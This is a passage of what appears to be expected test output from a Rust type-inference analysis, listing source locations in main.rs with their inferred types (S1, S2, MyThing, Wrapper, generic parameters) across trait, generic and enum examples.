main.rs:429:18:429:27 | x.method() | | main.rs:427:35:427:42 | I | +| main.rs:430:26:430:27 | s1 | | main.rs:427:35:427:42 | I | +| main.rs:433:65:433:65 | x | | main.rs:433:46:433:62 | T | +| main.rs:435:13:435:14 | s2 | | main.rs:433:36:433:43 | I | +| main.rs:435:18:435:18 | x | | main.rs:433:46:433:62 | T | +| main.rs:435:18:435:27 | x.method() | | main.rs:433:36:433:43 | I | +| main.rs:436:26:436:27 | s2 | | main.rs:433:36:433:43 | I | +| main.rs:439:49:439:49 | x | | main.rs:439:30:439:46 | T | +| main.rs:440:13:440:13 | s | | main.rs:409:5:410:14 | S1 | +| main.rs:440:17:440:17 | x | | main.rs:439:30:439:46 | T | +| main.rs:440:17:440:26 | x.method() | | main.rs:409:5:410:14 | S1 | +| main.rs:441:26:441:26 | s | | main.rs:409:5:410:14 | S1 | +| main.rs:444:53:444:53 | x | | main.rs:444:34:444:50 | T | +| main.rs:445:13:445:13 | s | | main.rs:409:5:410:14 | S1 | +| main.rs:445:17:445:17 | x | | main.rs:444:34:444:50 | T | +| main.rs:445:17:445:26 | x.method() | | main.rs:409:5:410:14 | S1 | +| main.rs:446:26:446:26 | s | | main.rs:409:5:410:14 | S1 | +| main.rs:450:16:450:19 | SelfParam | | main.rs:449:5:453:5 | Self [trait Pair] | +| main.rs:452:16:452:19 | SelfParam | | main.rs:449:5:453:5 | Self [trait Pair] | +| main.rs:455:58:455:58 | x | | main.rs:455:41:455:55 | T | +| main.rs:455:64:455:64 | y | | main.rs:455:41:455:55 | T | +| main.rs:457:13:457:14 | s1 | | main.rs:409:5:410:14 | S1 | +| main.rs:457:18:457:18 | x | | main.rs:455:41:455:55 | T | +| main.rs:457:18:457:24 | x.fst() | | main.rs:409:5:410:14 | S1 | +| main.rs:458:13:458:14 | s2 | | main.rs:412:5:413:14 | S2 | +| main.rs:458:18:458:18 | y | | main.rs:455:41:455:55 | T | +| main.rs:458:18:458:24 | y.snd() | | main.rs:412:5:413:14 | S2 | +| main.rs:459:32:459:33 | s1 | | main.rs:409:5:410:14 | S1 | +| main.rs:459:36:459:37 | s2 | | main.rs:412:5:413:14 | S2 | +| main.rs:462:69:462:69 | x | | main.rs:462:52:462:66 | T | +| main.rs:462:75:462:75 | y | | main.rs:462:52:462:66 | T | +| main.rs:464:13:464:14 | s1 | | main.rs:409:5:410:14 | S1 | +| main.rs:464:18:464:18 | x | | main.rs:462:52:462:66 | T | +| main.rs:464:18:464:24 | x.fst() | | main.rs:409:5:410:14 | S1 | +| main.rs:465:13:465:14 | s2 | | main.rs:462:41:462:49 | T2 | +| main.rs:465:18:465:18 | y | | main.rs:462:52:462:66 | T | +| main.rs:465:18:465:24 | y.snd() | | main.rs:462:41:462:49 | T2 | +| main.rs:466:32:466:33 | s1 | | main.rs:409:5:410:14 | S1 | +| main.rs:466:36:466:37 | s2 | | main.rs:462:41:462:49 | T2 | +| main.rs:482:15:482:18 | SelfParam | | main.rs:481:5:490:5 | Self [trait MyTrait] | +| main.rs:484:15:484:18 | SelfParam | | main.rs:481:5:490:5 | Self [trait MyTrait] | +| main.rs:487:9:489:9 | { ... } | | main.rs:481:19:481:19 | A | +| main.rs:488:13:488:16 | self | | main.rs:481:5:490:5 | Self [trait MyTrait] | +| main.rs:488:13:488:21 | self.m1() | | main.rs:481:19:481:19 | A | +| main.rs:493:43:493:43 | x | | main.rs:493:26:493:40 | T2 | +| main.rs:493:56:495:5 | { ... } | | main.rs:493:22:493:23 | T1 | +| main.rs:494:9:494:9 | x | | main.rs:493:26:493:40 | T2 | +| main.rs:494:9:494:14 | x.m1() | | main.rs:493:22:493:23 | T1 | +| main.rs:498:49:498:49 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:498:49:498:49 | x | T | main.rs:498:32:498:46 | T2 | +| main.rs:498:71:500:5 | { ... } | | main.rs:498:28:498:29 | T1 | +| main.rs:499:9:499:9 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:499:9:499:9 | x | T | main.rs:498:32:498:46 | T2 | +| main.rs:499:9:499:11 | x.a | | main.rs:498:32:498:46 | T2 | +| main.rs:499:9:499:16 | ... .m1() | | main.rs:498:28:498:29 | T1 | +| main.rs:503:15:503:18 | SelfParam | | main.rs:471:5:474:5 | MyThing | +| main.rs:503:15:503:18 | SelfParam | T | main.rs:502:10:502:10 | T | +| main.rs:503:26:505:9 | { ... } | | main.rs:502:10:502:10 | T | +| main.rs:504:13:504:16 | self | | main.rs:471:5:474:5 | MyThing | +| main.rs:504:13:504:16 | self | T | main.rs:502:10:502:10 | T | +| main.rs:504:13:504:18 | self.a | | main.rs:502:10:502:10 | T | +| main.rs:509:13:509:13 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:509:13:509:13 | x | T | main.rs:476:5:477:14 | S1 | +| main.rs:509:17:509:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:509:17:509:33 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | +| main.rs:509:30:509:31 | S1 | | main.rs:476:5:477:14 | S1 | +| main.rs:510:13:510:13 | y | | main.rs:471:5:474:5 | MyThing | +| main.rs:510:13:510:13 | y | T | main.rs:478:5:479:14 | S2 | +| main.rs:510:17:510:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:510:17:510:33 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | +| main.rs:510:30:510:31 | S2 | | main.rs:478:5:479:14 | S2 | +| main.rs:512:26:512:26 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:512:26:512:26 | x | T | main.rs:476:5:477:14 | S1 | +| main.rs:512:26:512:31 | x.m1() | | main.rs:476:5:477:14 | S1 | +| main.rs:513:26:513:26 | y | | main.rs:471:5:474:5 | MyThing | +| main.rs:513:26:513:26 | y | T | main.rs:478:5:479:14 | S2 | +| main.rs:513:26:513:31 | y.m1() | | main.rs:478:5:479:14 | S2 | +| main.rs:515:13:515:13 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:515:13:515:13 | x | T | main.rs:476:5:477:14 | S1 | +| main.rs:515:17:515:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:515:17:515:33 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | +| main.rs:515:30:515:31 | S1 | | main.rs:476:5:477:14 | S1 | +| main.rs:516:13:516:13 | y | | main.rs:471:5:474:5 | MyThing | +| main.rs:516:13:516:13 | y | T | main.rs:478:5:479:14 | S2 | +| main.rs:516:17:516:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:516:17:516:33 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | +| main.rs:516:30:516:31 | S2 | | main.rs:478:5:479:14 | S2 | +| main.rs:518:26:518:26 | x | | main.rs:471:5:474:5 | MyThing | +| main.rs:518:26:518:26 | x | T | main.rs:476:5:477:14 | S1 | +| main.rs:518:26:518:31 | x.m2() | | main.rs:476:5:477:14 | S1 | +| main.rs:519:26:519:26 | y | | main.rs:471:5:474:5 | MyThing | +| main.rs:519:26:519:26 | y | T | main.rs:478:5:479:14 | S2 | +| main.rs:519:26:519:31 | y.m2() | | main.rs:478:5:479:14 | S2 | +| main.rs:521:13:521:14 | x2 | | main.rs:471:5:474:5 | MyThing | +| main.rs:521:13:521:14 | x2 | T | main.rs:476:5:477:14 | S1 | +| main.rs:521:18:521:34 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:521:18:521:34 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | +| main.rs:521:31:521:32 | S1 | | main.rs:476:5:477:14 | S1 | +| main.rs:522:13:522:14 | y2 | | main.rs:471:5:474:5 | MyThing | +| main.rs:522:13:522:14 | y2 | T | main.rs:478:5:479:14 | S2 | +| main.rs:522:18:522:34 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:522:18:522:34 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | +| main.rs:522:31:522:32 | S2 | | main.rs:478:5:479:14 | S2 | +| main.rs:524:26:524:42 | call_trait_m1(...) | | main.rs:476:5:477:14 | S1 | +| main.rs:524:40:524:41 | x2 | | main.rs:471:5:474:5 | MyThing | +| main.rs:524:40:524:41 | x2 | T | main.rs:476:5:477:14 | S1 | +| main.rs:525:26:525:42 | call_trait_m1(...) | | main.rs:478:5:479:14 | S2 | +| main.rs:525:40:525:41 | y2 | | main.rs:471:5:474:5 | MyThing | +| main.rs:525:40:525:41 | y2 | T | main.rs:478:5:479:14 | S2 | +| main.rs:527:13:527:14 | x3 | | main.rs:471:5:474:5 | MyThing | +| main.rs:527:13:527:14 | x3 | T | main.rs:471:5:474:5 | MyThing | +| main.rs:527:13:527:14 | x3 | T.T | main.rs:476:5:477:14 | S1 | +| main.rs:527:18:529:9 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:527:18:529:9 | MyThing {...} | T | main.rs:471:5:474:5 | MyThing | +| main.rs:527:18:529:9 | MyThing {...} | T.T | main.rs:476:5:477:14 | S1 | +| main.rs:528:16:528:32 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:528:16:528:32 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | +| main.rs:528:29:528:30 | S1 | | main.rs:476:5:477:14 | S1 | +| main.rs:530:13:530:14 | y3 | | main.rs:471:5:474:5 | MyThing | +| main.rs:530:13:530:14 | y3 | T | main.rs:471:5:474:5 | MyThing | +| main.rs:530:13:530:14 | y3 | T.T | main.rs:478:5:479:14 | S2 | +| main.rs:530:18:532:9 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:530:18:532:9 | MyThing {...} | T | main.rs:471:5:474:5 | MyThing | +| main.rs:530:18:532:9 | MyThing {...} | T.T | main.rs:478:5:479:14 | S2 | +| main.rs:531:16:531:32 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | +| main.rs:531:16:531:32 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | +| main.rs:531:29:531:30 | S2 | | main.rs:478:5:479:14 | S2 | +| main.rs:534:13:534:13 | a | | main.rs:476:5:477:14 | S1 | +| main.rs:534:17:534:39 | call_trait_thing_m1(...) | | main.rs:476:5:477:14 | S1 | +| main.rs:534:37:534:38 | x3 | | main.rs:471:5:474:5 | MyThing | +| main.rs:534:37:534:38 | x3 | T | main.rs:471:5:474:5 | MyThing | +| main.rs:534:37:534:38 | x3 | T.T | main.rs:476:5:477:14 | S1 | +| main.rs:535:26:535:26 | a | | main.rs:476:5:477:14 | S1 | +| main.rs:536:13:536:13 | b | | main.rs:478:5:479:14 | S2 | +| main.rs:536:17:536:39 | call_trait_thing_m1(...) | | main.rs:478:5:479:14 | S2 | +| main.rs:536:37:536:38 | y3 | | main.rs:471:5:474:5 | MyThing | +| main.rs:536:37:536:38 | y3 | T | main.rs:471:5:474:5 | MyThing | +| main.rs:536:37:536:38 | y3 | T.T | main.rs:478:5:479:14 | S2 | +| main.rs:537:26:537:26 | b | | main.rs:478:5:479:14 | S2 | +| main.rs:548:19:548:22 | SelfParam | | main.rs:542:5:545:5 | Wrapper | +| main.rs:548:19:548:22 | SelfParam | A | main.rs:547:10:547:10 | A | +| main.rs:548:30:550:9 | { ... } | | main.rs:547:10:547:10 | A | +| main.rs:549:13:549:16 | self | | main.rs:542:5:545:5 | Wrapper | +| main.rs:549:13:549:16 | self | A | main.rs:547:10:547:10 | A | +| main.rs:549:13:549:22 | self.field | | main.rs:547:10:547:10 | A | +| main.rs:557:15:557:18 | SelfParam | | main.rs:553:5:567:5 | Self [trait MyTrait] | +| main.rs:559:15:559:18 | SelfParam | | main.rs:553:5:567:5 | Self [trait MyTrait] | +| main.rs:563:9:566:9 | { ... } | | main.rs:554:9:554:28 | AssociatedType | +| main.rs:564:13:564:16 | self | | main.rs:553:5:567:5 | Self [trait MyTrait] | +| main.rs:564:13:564:21 | self.m1() | | main.rs:554:9:554:28 | AssociatedType | +| main.rs:565:13:565:43 | ...::default(...) | | main.rs:554:9:554:28 | AssociatedType | +| main.rs:573:19:573:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:573:19:573:23 | SelfParam | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | +| main.rs:573:26:573:26 | a | | main.rs:573:16:573:16 | A | +| main.rs:575:22:575:26 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:575:22:575:26 | SelfParam | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | +| main.rs:575:29:575:29 | a | | main.rs:575:19:575:19 | A | +| main.rs:575:35:575:35 | b | | main.rs:575:19:575:19 | A | +| main.rs:575:75:578:9 | { ... } | | main.rs:570:9:570:52 | GenericAssociatedType | +| main.rs:576:13:576:16 | self | | file://:0:0:0:0 | & | +| main.rs:576:13:576:16 | self | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | +| main.rs:576:13:576:23 | self.put(...) | | main.rs:570:9:570:52 | GenericAssociatedType | +| main.rs:576:22:576:22 | a | | main.rs:575:19:575:19 | A | +| main.rs:577:13:577:16 | self | | file://:0:0:0:0 | & | +| main.rs:577:13:577:16 | self | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | +| main.rs:577:13:577:23 | self.put(...) | | main.rs:570:9:570:52 | GenericAssociatedType | +| main.rs:577:22:577:22 | b | | main.rs:575:19:575:19 | A | +| main.rs:586:21:586:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:586:21:586:25 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | +| main.rs:588:20:588:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:588:20:588:24 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | +| main.rs:590:20:590:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:590:20:590:24 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | +| main.rs:606:15:606:18 | SelfParam | | main.rs:593:5:594:13 | S | +| main.rs:606:45:608:9 | { ... } | | main.rs:599:5:600:14 | AT | +| main.rs:607:13:607:14 | AT | | main.rs:599:5:600:14 | AT | +| main.rs:616:19:616:23 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:616:19:616:23 | SelfParam | &T | main.rs:593:5:594:13 | S | +| main.rs:616:26:616:26 | a | | main.rs:616:16:616:16 | A | +| main.rs:616:46:618:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | +| main.rs:616:46:618:9 | { ... } | A | main.rs:616:16:616:16 | A | +| main.rs:617:13:617:32 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | +| main.rs:617:13:617:32 | Wrapper {...} | A | main.rs:616:16:616:16 | A | +| main.rs:617:30:617:30 | a | | main.rs:616:16:616:16 | A | +| main.rs:625:15:625:18 | SelfParam | | main.rs:596:5:597:14 | S2 | +| main.rs:625:45:627:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | +| main.rs:625:45:627:9 | { ... } | A | main.rs:596:5:597:14 | S2 | +| main.rs:626:13:626:35 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | +| main.rs:626:13:626:35 | Wrapper {...} | A | main.rs:596:5:597:14 | S2 | +| main.rs:626:30:626:33 | self | | main.rs:596:5:597:14 | S2 | +| main.rs:632:30:634:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | +| main.rs:632:30:634:9 | { ... } | A | main.rs:596:5:597:14 | S2 | +| main.rs:633:13:633:33 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | +| main.rs:633:13:633:33 | Wrapper {...} | A | main.rs:596:5:597:14 | S2 | +| main.rs:633:30:633:31 | S2 | | main.rs:596:5:597:14 | S2 | +| main.rs:638:22:638:26 | thing | | main.rs:638:10:638:19 | T | +| main.rs:639:9:639:13 | thing | | main.rs:638:10:638:19 | T | +| main.rs:646:21:646:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:646:21:646:25 | SelfParam | &T | main.rs:599:5:600:14 | AT | +| main.rs:646:34:648:9 | { ... } | | main.rs:599:5:600:14 | AT | +| main.rs:647:13:647:14 | AT | | main.rs:599:5:600:14 | AT | +| main.rs:650:20:650:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:650:20:650:24 | SelfParam | &T | main.rs:599:5:600:14 | AT | +| main.rs:650:43:652:9 | { ... } | | main.rs:593:5:594:13 | S | +| main.rs:651:13:651:13 | S | | main.rs:593:5:594:13 | S | +| main.rs:654:20:654:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:654:20:654:24 | SelfParam | &T | main.rs:599:5:600:14 | AT | +| main.rs:654:43:656:9 | { ... } | | main.rs:596:5:597:14 | S2 | +| main.rs:655:13:655:14 | S2 | | main.rs:596:5:597:14 | S2 | +| main.rs:660:13:660:14 | x1 | | main.rs:593:5:594:13 | S | +| main.rs:660:18:660:18 | S | | main.rs:593:5:594:13 | S | +| main.rs:662:26:662:27 | x1 | | main.rs:593:5:594:13 | S | +| main.rs:662:26:662:32 | x1.m1() | | main.rs:599:5:600:14 | AT | +| main.rs:664:13:664:14 | x2 | | main.rs:593:5:594:13 | S | +| main.rs:664:18:664:18 | S | | main.rs:593:5:594:13 | S | +| main.rs:666:13:666:13 | y | | main.rs:599:5:600:14 | AT | +| main.rs:666:17:666:18 | x2 | | main.rs:593:5:594:13 | S | +| main.rs:666:17:666:23 | x2.m2() | | main.rs:599:5:600:14 | AT | +| main.rs:667:26:667:26 | y | | main.rs:599:5:600:14 | AT | +| main.rs:669:13:669:14 | x3 | | main.rs:593:5:594:13 | S | +| main.rs:669:18:669:18 | S | | main.rs:593:5:594:13 | S | +| main.rs:671:26:671:27 | x3 | | main.rs:593:5:594:13 | S | +| main.rs:671:26:671:34 | x3.put(...) | | main.rs:542:5:545:5 | Wrapper | +| main.rs:674:26:674:27 | x3 | | main.rs:593:5:594:13 | S | +| main.rs:676:20:676:20 | S | | main.rs:593:5:594:13 | S | +| main.rs:679:13:679:14 | x5 | | main.rs:596:5:597:14 | S2 | +| main.rs:679:18:679:19 | S2 | | main.rs:596:5:597:14 | S2 | +| main.rs:680:26:680:27 | x5 | | main.rs:596:5:597:14 | S2 | +| main.rs:680:26:680:32 | x5.m1() | | main.rs:542:5:545:5 | Wrapper | +| main.rs:680:26:680:32 | x5.m1() | A | main.rs:596:5:597:14 | S2 | +| main.rs:681:13:681:14 | x6 | | main.rs:596:5:597:14 | S2 | +| main.rs:681:18:681:19 | S2 | | main.rs:596:5:597:14 | S2 | +| main.rs:682:26:682:27 | x6 | | main.rs:596:5:597:14 | S2 | +| main.rs:682:26:682:32 | x6.m2() | | main.rs:542:5:545:5 | Wrapper | +| main.rs:682:26:682:32 | x6.m2() | A | main.rs:596:5:597:14 | S2 | +| main.rs:684:13:684:22 | assoc_zero | | main.rs:599:5:600:14 | AT | +| main.rs:684:26:684:27 | AT | | main.rs:599:5:600:14 | AT | +| main.rs:684:26:684:38 | AT.get_zero() | | main.rs:599:5:600:14 | AT | +| main.rs:685:13:685:21 | assoc_one | | main.rs:593:5:594:13 | S | +| main.rs:685:25:685:26 | AT | | main.rs:599:5:600:14 | AT | +| main.rs:685:25:685:36 | AT.get_one() | | main.rs:593:5:594:13 | S | +| main.rs:686:13:686:21 | assoc_two | | main.rs:596:5:597:14 | S2 | +| main.rs:686:25:686:26 | AT | | main.rs:599:5:600:14 | AT | +| main.rs:686:25:686:36 | AT.get_two() | | main.rs:596:5:597:14 | S2 | +| main.rs:703:15:703:18 | SelfParam | | main.rs:691:5:695:5 | MyEnum | +| main.rs:703:15:703:18 | SelfParam | A | main.rs:702:10:702:10 | T | +| main.rs:703:26:708:9 | { ... } | | main.rs:702:10:702:10 | T | +| main.rs:704:13:707:13 | match self { ... } | | main.rs:702:10:702:10 | T | +| main.rs:704:19:704:22 | self | | main.rs:691:5:695:5 | MyEnum | +| main.rs:704:19:704:22 | self | A | main.rs:702:10:702:10 | T | +| main.rs:705:28:705:28 | a | | main.rs:702:10:702:10 | T | +| main.rs:705:34:705:34 | a | | main.rs:702:10:702:10 | T | +| main.rs:706:30:706:30 | a | | main.rs:702:10:702:10 | T | +| main.rs:706:37:706:37 | a | | main.rs:702:10:702:10 | T | +| main.rs:712:13:712:13 | x | | main.rs:691:5:695:5 | MyEnum | +| main.rs:712:13:712:13 | x | A | main.rs:697:5:698:14 | S1 | +| main.rs:712:17:712:30 | ...::C1(...) | | main.rs:691:5:695:5 | MyEnum | +| main.rs:712:17:712:30 | ...::C1(...) | A | main.rs:697:5:698:14 | S1 | +| main.rs:712:28:712:29 | S1 | | main.rs:697:5:698:14 | S1 | +| main.rs:713:13:713:13 | y | | main.rs:691:5:695:5 | MyEnum | +| main.rs:713:13:713:13 | y | A | main.rs:699:5:700:14 | S2 | +| main.rs:713:17:713:36 | ...::C2 {...} | | main.rs:691:5:695:5 | MyEnum | +| main.rs:713:17:713:36 | ...::C2 {...} | A | main.rs:699:5:700:14 | S2 | +| main.rs:713:33:713:34 | S2 | | main.rs:699:5:700:14 | S2 | +| main.rs:715:26:715:26 | x | | main.rs:691:5:695:5 | MyEnum | +| main.rs:715:26:715:26 | x | A | main.rs:697:5:698:14 | S1 | +| main.rs:715:26:715:31 | x.m1() | | main.rs:697:5:698:14 | S1 | +| main.rs:716:26:716:26 | y | | main.rs:691:5:695:5 | MyEnum | +| main.rs:716:26:716:26 | y | A | main.rs:699:5:700:14 | S2 | +| main.rs:716:26:716:31 | y.m1() | | main.rs:699:5:700:14 | S2 | +| main.rs:738:15:738:18 | SelfParam | | main.rs:736:5:739:5 | Self [trait MyTrait1] | +| main.rs:742:15:742:18 | SelfParam | | main.rs:741:5:752:5 | Self [trait MyTrait2] | +| main.rs:745:9:751:9 | { ... } | | main.rs:741:20:741:22 | Tr2 | +| main.rs:746:13:750:13 | if ... {...} else {...} | | main.rs:741:20:741:22 | Tr2 | +| main.rs:746:26:748:13 | { ... } | | main.rs:741:20:741:22 | Tr2 | +| main.rs:747:17:747:20 | self | | main.rs:741:5:752:5 | Self [trait MyTrait2] | +| main.rs:747:17:747:25 | self.m1() | | main.rs:741:20:741:22 | Tr2 | +| main.rs:748:20:750:13 | { ... } | | main.rs:741:20:741:22 | Tr2 | +| main.rs:749:17:749:30 | ...::m1(...) | | main.rs:741:20:741:22 | Tr2 | +| main.rs:749:26:749:29 | self | | main.rs:741:5:752:5 | Self [trait MyTrait2] | +| main.rs:755:15:755:18 | SelfParam | | main.rs:754:5:765:5 | Self [trait MyTrait3] | +| main.rs:758:9:764:9 | { ... } | | main.rs:754:20:754:22 | Tr3 | +| main.rs:759:13:763:13 | if ... {...} else {...} | | main.rs:754:20:754:22 | Tr3 | +| main.rs:759:26:761:13 | { ... } | | main.rs:754:20:754:22 | Tr3 | +| main.rs:760:17:760:20 | self | | main.rs:754:5:765:5 | Self [trait MyTrait3] | +| main.rs:760:17:760:25 | self.m2() | | main.rs:721:5:724:5 | MyThing | +| main.rs:760:17:760:25 | self.m2() | A | main.rs:754:20:754:22 | Tr3 | +| main.rs:760:17:760:27 | ... .a | | main.rs:754:20:754:22 | Tr3 | +| main.rs:761:20:763:13 | { ... } | | main.rs:754:20:754:22 | Tr3 | +| main.rs:762:17:762:30 | ...::m2(...) | | main.rs:721:5:724:5 | MyThing | +| main.rs:762:17:762:30 | ...::m2(...) | A | main.rs:754:20:754:22 | Tr3 | +| main.rs:762:17:762:32 | ... .a | | main.rs:754:20:754:22 | Tr3 | +| main.rs:762:26:762:29 | self | | main.rs:754:5:765:5 | Self [trait MyTrait3] | +| main.rs:769:15:769:18 | SelfParam | | main.rs:721:5:724:5 | MyThing | +| main.rs:769:15:769:18 | SelfParam | A | main.rs:767:10:767:10 | T | +| main.rs:769:26:771:9 | { ... } | | main.rs:767:10:767:10 | T | +| main.rs:770:13:770:16 | self | | main.rs:721:5:724:5 | MyThing | +| main.rs:770:13:770:16 | self | A | main.rs:767:10:767:10 | T | +| main.rs:770:13:770:18 | self.a | | main.rs:767:10:767:10 | T | +| main.rs:778:15:778:18 | SelfParam | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:778:15:778:18 | SelfParam | A | main.rs:776:10:776:10 | T | +| main.rs:778:35:780:9 | { ... } | | main.rs:721:5:724:5 | MyThing | +| main.rs:778:35:780:9 | { ... } | A | main.rs:776:10:776:10 | T | +| main.rs:779:13:779:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:779:13:779:33 | MyThing {...} | A | main.rs:776:10:776:10 | T | +| main.rs:779:26:779:29 | self | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:779:26:779:29 | self | A | main.rs:776:10:776:10 | T | +| main.rs:779:26:779:31 | self.a | | main.rs:776:10:776:10 | T | +| main.rs:788:13:788:13 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:788:13:788:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:788:17:788:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:788:17:788:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:788:30:788:31 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:789:13:789:13 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:789:13:789:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:789:17:789:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:789:17:789:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:789:30:789:31 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:791:26:791:26 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:791:26:791:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:791:26:791:31 | x.m1() | | main.rs:731:5:732:14 | S1 | +| main.rs:792:26:792:26 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:792:26:792:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:792:26:792:31 | y.m1() | | main.rs:733:5:734:14 | S2 | +| main.rs:794:13:794:13 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:794:13:794:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:794:17:794:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:794:17:794:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:794:30:794:31 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:795:13:795:13 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:795:13:795:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:795:17:795:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:795:17:795:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:795:30:795:31 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:797:26:797:26 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:797:26:797:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:797:26:797:31 | x.m2() | | main.rs:731:5:732:14 | S1 | +| main.rs:798:26:798:26 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:798:26:798:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:798:26:798:31 | y.m2() | | main.rs:733:5:734:14 | S2 | +| main.rs:800:13:800:13 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:800:13:800:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:800:17:800:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:800:17:800:34 | MyThing2 {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:800:31:800:32 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:801:13:801:13 | y | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:801:13:801:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:801:17:801:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:801:17:801:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:801:31:801:32 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:803:26:803:26 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:803:26:803:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:803:26:803:31 | x.m3() | | main.rs:731:5:732:14 | S1 | +| main.rs:804:26:804:26 | y | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:804:26:804:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:804:26:804:31 | y.m3() | | main.rs:733:5:734:14 | S2 | +| main.rs:822:22:822:22 | x | | file://:0:0:0:0 | & | +| main.rs:822:22:822:22 | x | &T | main.rs:822:11:822:19 | T | +| main.rs:822:35:824:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:822:35:824:5 | { ... } | &T | main.rs:822:11:822:19 | T | +| main.rs:823:9:823:9 | x | | file://:0:0:0:0 | & | +| main.rs:823:9:823:9 | x | &T | main.rs:822:11:822:19 | T | +| main.rs:827:17:827:20 | SelfParam | | main.rs:812:5:813:14 | S1 | +| main.rs:827:29:829:9 | { ... } | | main.rs:815:5:816:14 | S2 | +| main.rs:828:13:828:14 | S2 | | main.rs:815:5:816:14 | S2 | +| main.rs:832:21:832:21 | x | | main.rs:832:13:832:14 | T1 | +| main.rs:835:5:837:5 | { ... } | | main.rs:832:17:832:18 | T2 | +| main.rs:836:9:836:9 | x | | main.rs:832:13:832:14 | T1 | +| main.rs:836:9:836:16 | x.into() | | main.rs:832:17:832:18 | T2 | +| main.rs:840:13:840:13 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:840:17:840:18 | S1 | | main.rs:812:5:813:14 | S1 | +| main.rs:841:26:841:31 